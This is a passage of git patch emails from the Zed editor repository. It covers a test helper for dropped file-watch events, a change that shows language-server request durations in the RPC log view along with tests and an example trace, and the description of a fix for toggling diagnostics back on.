-                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {}
+                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {
+                        ticks += 1;
+                        if ticks % SENTINEL_RETRY_TICKS == 0 {
+                            retouch_and_remove_sentinel(fs.as_ref(), &root_path.join(file_name)).await;
+                        }
+                    }
                 }
             }
 
@@ -6493,6 +6517,41 @@ impl WorktreeModelHandle for Entity<Worktree> {
     }
 }
 
+#[cfg(feature = "test-support")]
+const SENTINEL_RETRY_TICKS: usize = 10;
+
+// On macOS an FS event can rarely be dropped while notify's shared FSEventStream
+// is being swapped out by a concurrent watch/unwatch: events already queued for
+// the old stream's callback are discarded when it is stopped. A dropped sentinel
+// event would park the test forever, so touch the sentinel again to emit a fresh
+// event on the current stream.
+#[cfg(feature = "test-support")]
+async fn retouch_sentinel(fs: &dyn Fs, abs_path: &std::path::Path) {
+    fs.create_file(
+        abs_path,
+        fs::CreateOptions {
+            overwrite: true,
+            ignore_if_exists: false,
+        },
+    )
+    .await
+    .unwrap();
+}
+
+#[cfg(feature = "test-support")]
+async fn retouch_and_remove_sentinel(fs: &dyn Fs, abs_path: &std::path::Path) {
+    retouch_sentinel(fs, abs_path).await;
+    fs.remove_file(
+        abs_path,
+        RemoveOptions {
+            recursive: false,
+            ignore_if_not_exists: true,
+        },
+    )
+    .await
+    .unwrap();
+}
+
 #[derive(Clone, Debug)]
 struct TraversalProgress<'a> {
     max_path: &'a RelPath,

From 4ba5dc0d2c008662593fd7a095e81f3bc531f6c5 Mon Sep 17 00:00:00 2001
From: Shuhei Kadowaki <40514306+aviatesk@users.noreply.github.com>
Date: Tue, 21 Jul 2026 16:55:55 +0000
Subject: [PATCH 609/772] lsp: Show request durations in RPC messages (#61018)

Language server performance issues can be difficult to diagnose because
request timings are not shown alongside the corresponding JSON-RPC
traffic. Annotate responses in the "LSP Logs / RPC Messages" view with
their end-to-end duration, making it easier to identify slow methods,
latency outliers, and cancellation behavior in the language server
process launched by Zed.

Capture timestamps at the transport boundary, correlate decoded request
IDs separately by direction, preserve timing across cancellation, bound
stale request tracking, and forward host-measured durations to remote
clients.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and relxability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
<summary>Example trace</summary>

```
// Send:
{"jsonrpc":"2.0","id":61,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":378,"character":3}}}

// Receive (took 7.698042ms):
{"jsonrpc":"2.0","id":61,"result":[]}

// Send:
{"jsonrpc":"2.0","id":62,"method":"textDocument/codeAction","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"range":{"start":{"line":378,"character":3},"end":{"line":378,"character":3}},"context":{"diagnostics":[]}}}

// Receive (took 5.632167ms):
{"jsonrpc":"2.0","id":62,"result":[{"title":"Show macro expansion for `@static`","command":{"title":"Show macro expansion for `@static`","command":"jetls.openMacroExpansion","arguments":["jetls-macro-expansion:/macro-expanded.jl?source=file%253A%252F%252F%252FUsers%252Faviatesk%252Fjulia%252Fpackages%252Fworktrees%252FJETLS%252Fplacid-wren%252FJETLS%252Fsrc%252Fanalysis%252FAnalyzer.jl&start=14278&stop=15609"]}},{"title":"Expand all macros in this top-level form","command":{"title":"Expand all macros in this top-level form","command":"jetls.openMacroExpansion","arguments":["jetls-macro-expansion:/macro-expanded.jl?source=file%253A%252F%252F%252FUsers%252Faviatesk%252Fjulia%252Fpackages%252Fworktrees%252FJETLS%252Fplacid-wren%252FJETLS%252Fsrc%252Fanalysis%252FAnalyzer.jl&start=14278&stop=15609&mode=toplevel"]}},{"title":"Show inferred type annotations","command":{"title":"Show inferred type annotations","command":"jetls.openTypeAnnotation","arguments":["jetls-type-annotation:/type-annotated.jl?source=file%253A%252F%252F%252FUsers%252Faviatesk%252Fjulia%252Fpackages%252Fworktrees%252FJETLS%252Fplacid-wren%252FJETLS%252Fsrc%252Fanalysis%252FAnalyzer.jl&start=14278&stop=15609"]}}]}

// Send:
{"jsonrpc":"2.0","id":63,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":379,"character":3}}}

// Receive (took 3.473792ms):
{"jsonrpc":"2.0","id":63,"result":[]}

// Send:
{"jsonrpc":"2.0","id":64,"method":"textDocument/codeAction","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"range":{"start":{"line":379,"character":3},"end":{"line":379,"character":3}},"context":{"diagnostics":[]}}}

// Receive (took 4.472375ms):
{"jsonrpc":"2.0","id":64,"result":[{"title":"Show macro expansion for `@static`","command":{"title":"Show macro expansion for `@static`","command":"jetls.openMacroExpansion","arguments":["jetls-macro-expansion:/macro-expanded.jl?source=file%253A%252F%252F%252FUsers%252Faviatesk%252Fjulia%252Fpackages%252Fworktrees%252FJETLS%252Fplacid-wren%252FJETLS%252Fsrc%252Fanalysis%252FAnalyzer.jl&start=14278&stop=15609"]}},{"title":"Expand all macros in this top-level form","command":{"title":"Expand all macros in this top-level form","command":"jetls.openMacroExpansion","arguments":["jetls-macro-expansion:/macro-expanded.jl?source=file%253A%252F%252F%252FUsers%252Faviatesk%252Fjulia%252Fpackages%252Fworktrees%252FJETLS%252Fplacid-wren%252FJETLS%252Fsrc%252Fanalysis%252FAnalyzer.jl&start=14278&stop=15609&mode=toplevel"]}},{"title":"Show inferred type annotations","command":{"title":"Show inferred type annotations","command":"jetls.openTypeAnnotation","arguments":["jetls-type-annotation:/type-annotated.jl?source=file%253A%252F%252F%252FUsers%252Faviatesk%252Fjulia%252Fpackages%252Fworktrees%252FJETLS%252Fplacid-wren%252FJETLS%252Fsrc%252Fanalysis%252FAnalyzer.jl&start=14278&stop=15609"]}}]}

// Send:
{"jsonrpc":"2.0","id":65,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":380,"character":0}}}

// Receive (took 1.186541ms):
{"jsonrpc":"2.0","id":65,"result":[]}

// Send:
{"jsonrpc":"2.0","id":66,"method":"textDocument/codeAction","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"range":{"start":{"line":380,"character":0},"end":{"line":380,"character":0}},"context":{"diagnostics":[]}}}

// Receive (took 2.552708ms):
{"jsonrpc":"2.0","id":66,"result":[]}

// Send:
{"jsonrpc":"2.0","id":67,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":401,"character":0}}}

// Receive (took 1.490084ms):
{"jsonrpc":"2.0","id":67,"result":[]}

// Send:
{"jsonrpc":"2.0","id":68,"method":"textDocument/codeAction","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"range":{"start":{"line":401,"character":0},"end":{"line":401,"character":0}},"context":{"diagnostics":[]}}}

// Receive (took 2.819125ms):
{"jsonrpc":"2.0","id":68,"result":[]}

// Send:
{"jsonrpc":"2.0","id":69,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":400,"character":0}}}

// Receive (took 3.501375ms):
{"jsonrpc":"2.0","id":69,"result":[]}

// Send:
{"jsonrpc":"2.0","id":70,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":399,"character":0}}}

// Receive (took 2.903333ms):
{"jsonrpc":"2.0","id":70,"result":[]}

// Send:
{"jsonrpc":"2.0","id":71,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":399,"character":14}}}

// Receive (took 3.166ms):
{"jsonrpc":"2.0","id":71,"result":[{"range":{"start":{"line":389,"character":19},"end":{"line":389,"character":22}},"kind":3},{"range":{"start":{"line":399,"character":11},"end":{"line":399,"character":14}},"kind":2}]}

// Send:
{"jsonrpc":"2.0","id":72,"method":"textDocument/codeAction","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"range":{"start":{"line":399,"character":14},"end":{"line":399,"character":14}},"context":{"diagnostics":[]}}}

// Receive (took 3.169625ms):
{"jsonrpc":"2.0","id":72,"result":[{"title":"Show inferred type annotations","command":{"title":"Show inferred type annotations","command":"jetls.openTypeAnnotation","arguments":["jetls-type-annotation:/type-annotated.jl?source=file%253A%252F%252F%252FUsers%252Faviatesk%252Fjulia%252Fpackages%252Fworktrees%252FJETLS%252Fplacid-wren%252FJETLS%252Fsrc%252Fanalysis%252FAnalyzer.jl&start=15676&stop=16556"]}}]}

// Send:
{"jsonrpc":"2.0","id":73,"method":"textDocument/hover","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":399,"character":14}}}

// Receive (took 1.234396208s):
{"jsonrpc":"2.0","id":73,"result":{"contents":{"kind":"markdown","value":"```julia\n(local) ret :: Compiler.RTEffects  # Core.PartialStruct(Compiler.RTEffects, Any[Any, Any, Compiler.Effects, Core.Const(nothing)])\n```\n"},"range":{"start":{"line":399,"character":11},"end":{"line":399,"character":14}}}}

// Send:
{"jsonrpc":"2.0","id":74,"method":"textDocument/hover","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":399,"character":14}}}

// Receive (took 11.429875ms):
{"jsonrpc":"2.0","id":74,"result":{"contents":{"kind":"markdown","value":"```julia\n(local) ret :: Compiler.RTEffects  # Core.PartialStruct(Compiler.RTEffects, Any[Any, Any, Compiler.Effects, Core.Const(nothing)])\n```\n"},"range":{"start":{"line":399,"character":11},"end":{"line":399,"character":14}}}}

// Send:
{"jsonrpc":"2.0","id":75,"method":"textDocument/documentHighlight","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"position":{"line":401,"character":0}}}

// Receive (took 1.098667ms):
{"jsonrpc":"2.0","id":75,"result":[]}

// Send:
{"jsonrpc":"2.0","id":76,"method":"textDocument/codeAction","params":{"textDocument":{"uri":"file:///Users/aviatesk/julia/packages/worktrees/JETLS/placid-wren/JETLS/src/analysis/Analyzer.jl"},"range":{"start":{"line":401,"character":0},"end":{"line":401,"character":0}},"context":{"diagnostics":[]}}}

// Receive (took 4.117459ms):
{"jsonrpc":"2.0","id":76,"result":[]}
```

</details>

---

Release Notes:

- Improved LSP Logs by showing request durations alongside RPC
responses, making slow language server behavior easier to diagnose.

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/project/src/lsp_store.rs               |  19 +-
 crates/project/src/lsp_store/log_store.rs     | 216 +++++++++++++++---
 crates/project/tests/integration/lsp_store.rs | 137 ++++++++++-
 crates/proto/proto/lsp.proto                  |   1 +
 4 files changed, 331 insertions(+), 42 deletions(-)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index fee9666ec78470..593c1dd66b707b 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -14703,8 +14703,13 @@ impl PartialEq for LanguageServerPromptRequest {
 #[derive(Clone, Debug, PartialEq)]
 pub enum LanguageServerLogType {
     Log(MessageType),
-    Trace { verbose_info: Option<String> },
-    Rpc { received: bool },
+    Trace {
+        verbose_info: Option<String>,
+    },
+    Rpc {
+        received: bool,
+        elapsed: Option<Duration>,
+    },
 }
 
 impl LanguageServerLogType {
@@ -14731,14 +14736,19 @@ impl LanguageServerLogType {
                     verbose_info: verbose_info.to_owned(),
                 })
             }
-            Self::Rpc { received } => {
+            Self::Rpc { received, elapsed } => {
                 let kind = if *received {
                     proto::rpc_message::Kind::Received
                 } else {
                     proto::rpc_message::Kind::Sent
                 };
                 let kind = kind as i32;
-                proto::language_server_log::LogType::Rpc(proto::RpcMessage { kind })
+                let elapsed_nanos =
+                    elapsed.map(|elapsed| u64::try_from(elapsed.as_nanos()).unwrap_or(u64::MAX));
+                proto::language_server_log::LogType::Rpc(proto::RpcMessage {
+                    kind,
+                    elapsed_nanos,
+                })
             }
         }
     }
@@ -14765,6 +14775,7 @@ impl LanguageServerLogType {
                     rpc_message::Kind::Received => true,
                     rpc_message::Kind::Sent => false,
                 },
+                elapsed: message.elapsed_nanos.map(Duration::from_nanos),
             },
         }
     }
diff --git a/crates/project/src/lsp_store/log_store.rs b/crates/project/src/lsp_store/log_store.rs
index 0cfe3c14cf2cba..417bf82b70ad0e 100644
--- a/crates/project/src/lsp_store/log_store.rs
+++ b/crates/project/src/lsp_store/log_store.rs
@@ -1,4 +1,8 @@
-use std::{collections::VecDeque, sync::Arc};
+use std::{
+    collections::VecDeque,
+    sync::Arc,
+    time::{Duration, Instant},
+};
 
 use collections::HashMap;
 use futures::{StreamExt, channel::mpsc};
@@ -7,16 +11,16 @@ use gpui::{
 };
 use lsp::{
     IoKind, LanguageServer, LanguageServerId, LanguageServerName, LanguageServerSelector,
-    MessageType, TraceValue,
+    MessageType, RequestId, TraceValue,
 };
 use rpc::proto;
+use serde::Deserialize;
 use settings::WorktreeId;
 
 use crate::{LanguageServerLogType, LspStore, Project, ProjectItem as _};
 
-const SEND_LINE: &str = "\n// Send:";
-const RECEIVE_LINE: &str = "\n// Receive:";
 const MAX_STORED_LOG_ENTRIES: usize = 2000;
+const MAX_PENDING_REQUESTS: usize = MAX_STORED_LOG_ENTRIES;
 
 pub fn init(on_headless_host: bool, cx: &mut App) -> Entity<LogStore> {
     let log_store = cx.new(|cx| LogStore::new(on_headless_host, cx));
@@ -43,7 +47,7 @@ pub struct LogStore {
     on_headless_host: bool,
     projects: HashMap<WeakEntity<Project>, ProjectState>,
     pub language_servers: HashMap<LanguageServerId, LanguageServerState>,
-    io_tx: mpsc::UnboundedSender<(LanguageServerId, IoKind, String)>,
+    io_tx: mpsc::UnboundedSender<(LanguageServerId, IoKind, String, Instant)>,
 }
 
 struct ProjectState {
@@ -188,14 +192,127 @@ impl LanguageServerKind {
 pub struct LanguageServerRpcState {
     pub rpc_messages: VecDeque<RpcMessage>,
     last_message_kind: Option<MessageKind>,
+    request_tracker: RpcRequestTracker,
+}
+
+#[derive(Debug, Default)]
+struct RpcRequestTracker {
+    pending_requests: HashMap<PendingRequestKey, Instant>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Hash)]
+struct PendingRequestKey {
+    kind: MessageKind,
+    id: RequestId,
 }
 
-#[derive(Debug, Copy, Clone, PartialEq, Eq)]
+#[derive(Deserialize)]
+struct RpcEnvelope<'a> {
+    id: Option<RequestId>,
+    method: Option<&'a str>,
+}
+
+#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)]
 enum MessageKind {
     Send,
     Receive,
 }
 
+impl MessageKind {
+    fn opposite(self) -> Self {
+        match self {
+            Self::Send => Self::Receive,
+            Self::Receive => Self::Send,
+        }
+    }
+}
+
+impl RpcRequestTracker {
+    fn observe(
+        &mut self,
+        kind: MessageKind,
+        message: &str,
+        observed_at: Instant,
+    ) -> Option<Duration> {
+        let envelope = serde_json::from_str::<RpcEnvelope>(message).ok()?;
+        let id = envelope.id?;
+        if envelope.method.is_some() {
+            self.insert(PendingRequestKey { kind, id }, observed_at);
+            None
+        } else {
+            self.pending_requests
+                .remove(&PendingRequestKey {
+                    kind: kind.opposite(),
+                    id,
+                })
+                .and_then(|started_at| observed_at.checked_duration_since(started_at))
+        }
+    }
+
+    fn insert(&mut self, key: PendingRequestKey, observed_at: Instant) {
+        if self.pending_requests.len() >= MAX_PENDING_REQUESTS
+            && !self.pending_requests.contains_key(&key)
+            && let Some(oldest_key) = self
+                .pending_requests
+                .iter()
+                .min_by_key(|(_, started_at)| **started_at)
+                .map(|(key, _)| key.clone())
+        {
+            self.pending_requests.remove(&oldest_key);
+        }
+        self.pending_requests.insert(key, observed_at);
+    }
+}
+
+#[cfg(feature = "test-support")]
+#[derive(Default)]
+pub struct TestRpcRequestTracker(RpcRequestTracker);
+
+#[cfg(feature = "test-support")]
+impl TestRpcRequestTracker {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    pub fn observe(
+        &mut self,
+        received: bool,
+        message: &str,
+        observed_at: Instant,
+    ) -> Option<Duration> {
+        let kind = if received {
+            MessageKind::Receive
+        } else {
+            MessageKind::Send
+        };
+        self.0.observe(kind, message, observed_at)
+    }
+
+    pub fn pending_request_count(&self) -> usize {
+        self.0.pending_requests.len()
+    }
+
+    pub fn max_pending_requests() -> usize {
+        MAX_PENDING_REQUESTS
+    }
+}
+
+enum RpcTiming {
+    ObservedAt(Instant),
+    Forwarded(Option<Duration>),
+}
+
+fn format_duration(duration: Duration) -> String {
+    let seconds = duration.as_secs_f64();
+    if seconds < 0.001 {
+        format!("{:.0}µs", seconds * 1_000_000.0)
+    } else if seconds < 1.0 {
+        format!("{:.1}ms", seconds * 1_000.0)
+    } else {
+        format!("{seconds:.2}s")
+    }
+}
+
 #[derive(Clone, Copy, Debug, Default, PartialEq)]
 pub enum LogKind {
     Rpc,
@@ -227,10 +344,10 @@ impl LogStore {
             io_tx,
         };
         cx.spawn(async move |log_store, cx| {
-            while let Some((server_id, io_kind, message)) = io_rx.next().await {
+            while let Some((server_id, io_kind, message, observed_at)) = io_rx.next().await {
                 if let Some(log_store) = log_store.upgrade() {
                     log_store.update(cx, |log_store, cx| {
-                        log_store.on_io(server_id, io_kind, &message, cx);
+                        log_store.on_io(server_id, io_kind, &message, observed_at, cx);
                     });
                 }
             }
@@ -331,13 +448,19 @@ impl LogStore {
                                             cx,
                                         );
                                     }
-                                    crate::LanguageServerLogType::Rpc { received } => {
+                                    crate::LanguageServerLogType::Rpc { received, elapsed } => {
                                         let kind = if *received {
                                             MessageKind::Receive
                                         } else {
                                             MessageKind::Send
                                         };
-                                        log_store.add_language_server_rpc(*id, kind, message, cx);
+                                        log_store.add_language_server_rpc(
+                                            *id,
+                                            kind,
+                                            message,
+                                            RpcTiming::Forwarded(*elapsed),
+                                            cx,
+                                        );
                                     }
                                 }
                             }
@@ -400,8 +523,9 @@ impl LogStore {
             let io_tx = self.io_tx.clone();
             let server_id = server.server_id();
             server_state.io_logs_subscription = Some(server.on_io(move |io_kind, message| {
+                let observed_at = Instant::now();
                 io_tx
-                    .unbounded_send((server_id, io_kind, message.to_string()))
+                    .unbounded_send((server_id, io_kind, message.to_string(), observed_at))
                     .ok();
             }));
         }
@@ -519,6 +643,7 @@ impl LogStore {
         language_server_id: LanguageServerId,
         kind: MessageKind,
         message: &str,
+        timing: RpcTiming,
         cx: &mut Context<'_, Self>,
     ) {
         let store_logs = !self.on_headless_host;
@@ -529,43 +654,54 @@ impl LogStore {
             return;
         };
 
+        let elapsed = match timing {
+            RpcTiming::ObservedAt(observed_at) => {
+                state.request_tracker.observe(kind, message, observed_at)
+            }
+            RpcTiming::Forwarded(elapsed) => elapsed,
+        };
+
         let received = kind == MessageKind::Receive;
-        let rpc_log_lines = &mut state.rpc_messages;
-        if state.last_message_kind != Some(kind) {
+        let direction = if received { "Receive" } else { "Send" };
+        let mut header = None;
+        if state.last_message_kind != Some(kind) || elapsed.is_some() {
+            header = Some(match elapsed {
+                Some(elapsed) => format!("\n// {direction} (took {}):", format_duration(elapsed)),
+                None => format!("\n// {direction}:"),
+            });
+        }
+        state.last_message_kind = Some(kind);
+
+        if store_logs {
+            let rpc_log_lines = &mut state.rpc_messages;
             while rpc_log_lines.len() + 1 >= MAX_STORED_LOG_ENTRIES {
                 rpc_log_lines.pop_front();
             }
-            let line_before_message = match kind {
-                MessageKind::Send => SEND_LINE,
-                MessageKind::Receive => RECEIVE_LINE,
-            };
-            if store_logs {
-                rpc_log_lines.push_back(RpcMessage {
-                    message: line_before_message.to_string(),
-                });
-            }
-            // Do not send a synthetic message over the wire, it will be derived from the actual RPC message
-            cx.emit(Event::NewServerLogEntry {
-                id: language_server_id,
-                kind: LanguageServerLogType::Rpc { received },
-                text: line_before_message.to_string(),
+            let message = message.trim();
+            rpc_log_lines.push_back(RpcMessage {
+                message: match &header {
+                    Some(header) => format!("{header}\n{message}"),
+                    None => message.to_owned(),
+                },
             });
         }
 
-        while rpc_log_lines.len() + 1 >= MAX_STORED_LOG_ENTRIES {
-            rpc_log_lines.pop_front();
-        }
-
-        if store_logs {
-            rpc_log_lines.push_back(RpcMessage {
-                message: message.trim().to_owned(),
+        if let Some(header) = header {
+            // Do not send a synthetic message over the wire, it will be derived from the actual RPC message
+            cx.emit(Event::NewServerLogEntry {
+                id: language_server_id,
+                kind: LanguageServerLogType::Rpc {
+                    received,
+                    elapsed: None,
+                },
+                text: header,
             });
         }
 
         self.emit_event(
             Event::NewServerLogEntry {
                 id: language_server_id,
-                kind: LanguageServerLogType::Rpc { received },
+                kind: LanguageServerLogType::Rpc { received, elapsed },
                 text: message.to_owned(),
             },
             cx,
@@ -614,6 +750,7 @@ impl LogStore {
             .get_or_insert_with(|| LanguageServerRpcState {
                 rpc_messages: VecDeque::with_capacity(MAX_STORED_LOG_ENTRIES),
                 last_message_kind: None,
+                request_tracker: RpcRequestTracker::default(),
             });
         Some(rpc_state)
     }
@@ -641,6 +778,7 @@ impl LogStore {
         language_server_id: LanguageServerId,
         io_kind: IoKind,
         message: &str,
+        observed_at: Instant,
         cx: &mut Context<Self>,
     ) -> Option<()> {
         let is_received = match io_kind {
@@ -658,7 +796,13 @@ impl LogStore {
             MessageKind::Send
         };
 
-        self.add_language_server_rpc(language_server_id, kind, message, cx);
+        self.add_language_server_rpc(
+            language_server_id,
+            kind,
+            message,
+            RpcTiming::ObservedAt(observed_at),
+            cx,
+        );
         cx.notify();
         Some(())
     }
diff --git a/crates/project/tests/integration/lsp_store.rs b/crates/project/tests/integration/lsp_store.rs
index 100042f5d99514..34f81fdbbe250f 100644
--- a/crates/project/tests/integration/lsp_store.rs
+++ b/crates/project/tests/integration/lsp_store.rs
@@ -1,11 +1,17 @@
-use std::path::Path;
+use std::{
+    path::Path,
+    time::{Duration, Instant},
+};
 
 use fs::FakeFs;
 use futures::StreamExt;
 use gpui::TestAppContext;
 use language::{CodeLabel, FakeLspAdapter, HighlightId, rust_lang};
 use lsp::Uri;
-use project::{Project, lsp_store::*};
+use project::{
+    Project,
+    lsp_store::{log_store::TestRpcRequestTracker, *},
+};
 use serde_json::json;
 use util::path;
 
@@ -90,6 +96,133 @@ async fn test_removing_invisible_worktree_cleans_reused_lsp_bookkeeping(cx: &mut
     });
 }
 
+#[test]
+fn test_rpc_request_tracker_distinguishes_request_directions() {
+    let mut tracker = TestRpcRequestTracker::new();
+    let started_at = Instant::now();
+
+    assert_eq!(
+        tracker.observe(
+            false,
+            r#"{"jsonrpc":"2.0","id":1,"method":"textDocument/hover"}"#,
+            started_at,
+        ),
+        None
+    );
+    assert_eq!(
+        tracker.observe(
+            true,
+            r#"{"jsonrpc":"2.0","id":1,"method":"workspace/configuration"}"#,
+            started_at + Duration::from_millis(10),
+        ),
+        None
+    );
+    assert_eq!(
+        tracker.observe(
+            false,
+            r#"{"jsonrpc":"2.0","id":1,"result":[]}"#,
+            started_at + Duration::from_millis(30),
+        ),
+        Some(Duration::from_millis(20))
+    );
+    assert_eq!(
+        tracker.observe(
+            true,
+            r#"{"jsonrpc":"2.0","id":1,"result":null}"#,
+            started_at + Duration::from_millis(50),
+        ),
+        Some(Duration::from_millis(50))
+    );
+}
+
+#[test]
+fn test_rpc_request_tracker_decodes_ids_and_times_cancelled_requests() {
+    let mut tracker = TestRpcRequestTracker::new();
+    let started_at = Instant::now();
+
+    tracker.observe(
+        true,
+        r#"{"jsonrpc":"2.0","id":"foo\u002fbar","method":"workspace/configuration"}"#,
+        started_at,
+    );
+    assert_eq!(
+        tracker.observe(
+            false,
+            r#"{"jsonrpc":"2.0","id":"foo/bar","result":[]}"#,
+            started_at + Duration::from_millis(25),
+        ),
+        Some(Duration::from_millis(25))
+    );
+
+    tracker.observe(
+        false,
+        r#"{"jsonrpc":"2.0","id":7,"method":"textDocument/hover"}"#,
+        started_at,
+    );
+    tracker.observe(
+        false,
+        r#"{"jsonrpc":"2.0","method":"$/cancelRequest","params":{"id":7}}"#,
+        started_at + Duration::from_millis(1),
+    );
+    assert_eq!(tracker.pending_request_count(), 1);
+    assert_eq!(
+        tracker.observe(
+            true,
+            r#"{"jsonrpc":"2.0","id":7,"error":{"code":-32800,"message":"Request was cancelled"}}"#,
+            started_at + Duration::from_millis(10),
+        ),
+        Some(Duration::from_millis(10))
+    );
+    assert_eq!(tracker.pending_request_count(), 0);
+}
+
+#[test]
+fn test_rpc_request_tracker_bounds_unanswered_requests() {
+    let mut tracker = TestRpcRequestTracker::new();
+    let started_at = Instant::now();
+    let max_pending_requests = TestRpcRequestTracker::max_pending_requests();
+
+    for id in 0..=max_pending_requests {
+        tracker.observe(
+            false,
+            &format!(r#"{{"jsonrpc":"2.0","id":{id},"method":"textDocument/hover"}}"#),
+            started_at + Duration::from_nanos(id as u64),
+        );
+    }
+
+    assert_eq!(tracker.pending_request_count(), max_pending_requests);
+    assert_eq!(
+        tracker.observe(
+            true,
+            r#"{"jsonrpc":"2.0","id":0,"result":null}"#,
+            started_at + Duration::from_secs(1),
+        ),
+        None
+    );
+    assert!(
+        tracker
+            .observe(
+                true,
+                r#"{"jsonrpc":"2.0","id":1,"result":null}"#,
+                started_at + Duration::from_secs(1),
+            )
+            .is_some()
+    );
+}
+
+#[test]
+fn test_rpc_log_duration_proto_roundtrip() {
+    let log_type = LanguageServerLogType::Rpc {
+        received: true,
+        elapsed: Some(Duration::from_micros(1234)),
+    };
+
+    assert_eq!(
+        LanguageServerLogType::from_proto(log_type.to_proto()),
+        log_type
+    );
+}
+
 #[test]
 fn test_glob_literal_prefix() {
     assert_eq!(glob_literal_prefix(Path::new("**/*.js")), Path::new(""));
diff --git a/crates/proto/proto/lsp.proto b/crates/proto/proto/lsp.proto
index cf7c2b97661a6d..2e87e1ec12cdaf 100644
--- a/crates/proto/proto/lsp.proto
+++ b/crates/proto/proto/lsp.proto
@@ -757,6 +757,7 @@ message TraceMessage {
 
 message RpcMessage {
   Kind kind = 1;
+  optional uint64 elapsed_nanos = 2;
 
   enum Kind {
     RECEIVED = 0;

From 0129767b65ce31751079d023d1fdf097ff1138a7 Mon Sep 17 00:00:00 2001
From: Counterfeit IQ <93573184+cfiq@users.noreply.github.com>
Date: Tue, 21 Jul 2026 17:28:38 +0000
Subject: [PATCH 610/772] Fix toggling diagnostics off not allowing to toggle
 them back (#60963)

# Objective

This change fixes an issue where once a single file has had it
diagnostics disabled, it will permenently make re-enabling diagnostics
in that specific file, no longer possible by either command or keybind.
This fixes issue #60958.

## Solution

This solution is quite simple. The logic used for registering the action
in the editor used a one way flip. The editor read the `cx` and then
checked its `diagnostics_enabled()` and `inline_diagnostics_enabled()`
and if they were disabled they would not register the corrosponding
`Editor::toggle_diagnostics` and `Editor::toggle_inline_diagnostics`
respectively. This meant once toggled off, the editor was no longer able
to register the action as it was already disabled, and thus made the
"toggle" part impossible. The fix simply removes the state checks for
the current editor and will leave the actions registered.

## Testing

This has been both manualy tested as well as had an `editor_tests.rs`
test added. Simply taking in the the `EditorTestContext`, then checks
the starting state, then toggles the diagnostics off and checks that it
correctly shows the state change, and then proceeds to re-enable the
diagnostics state, and check its again to make sure the appropriate
state has been set.
I manually tested this on windows_11_x64/x86(Desktop),
archlinux_7.0.10_x64/x86(Laptop), and it has **not** been tested on my
mac mini **yet**. However, the change 'should' be platform agnostic. If
someone wants to review this, they can simply open their settings file
with the JSONC lsp `on` and then disable their diagnostics and then, the
option to re-enable them, toggle, will now show up and also be able to
be executed by the keybinds too.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>

Original Behaviour:
[Zed Diagnostic Toggle (Original
Behaviour).webm](https://github.com/user-attachments/assets/bca860cd-f7e9-42b9-9456-56b9b1d2604f)

New Behaviour:
[Zed Diagnostic Toggle (New
Behaviour).webm](https://github.com/user-attachments/assets/e3629491-abb5-4e29-95ab-e8f0464db726)

</details>

---

Release Notes:

- Fixed `editor::ToggleDiagnostics` & `editor: toggle diagnostics`
